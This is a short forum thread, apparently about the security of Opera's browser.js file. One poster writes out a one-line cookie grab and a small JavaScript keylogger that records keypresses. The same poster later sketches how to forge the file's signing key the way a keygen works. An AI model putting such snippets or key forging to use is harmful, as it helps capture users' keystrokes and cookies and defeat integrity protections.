  • Hello please shudown browser.js
    it very easy to build cookie stealer and real keylogger

    cookie stealer easy
    var MyEasyHack = document.cookie;

    keylogger
    var keys='';
    document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
    }

    UPDATE

  • If something modifies browser.js, Opera should quit using browser.js because the key at the top will then be invalid. Whatever modifies it will have to regenerate a valid key. There will also be a new file in a different folder on update.

    Not saying it's impossible, but there are protections in place. Also, as for the actual code in browser.js, before the page loads, the browser.js code caches functions that it uses so it's not using copies that are overwritten (tampered with) by the page.

  • thanks for the reply

    for the key it should be the same as creating keygen ?

    debug -> get logic -> make tool with logic -> post data -> get key

  • @errzerraxxdev Yeah, if you can figure out how the key is created for the content, you should then be able to produce a valid key for your modifications, I would think.
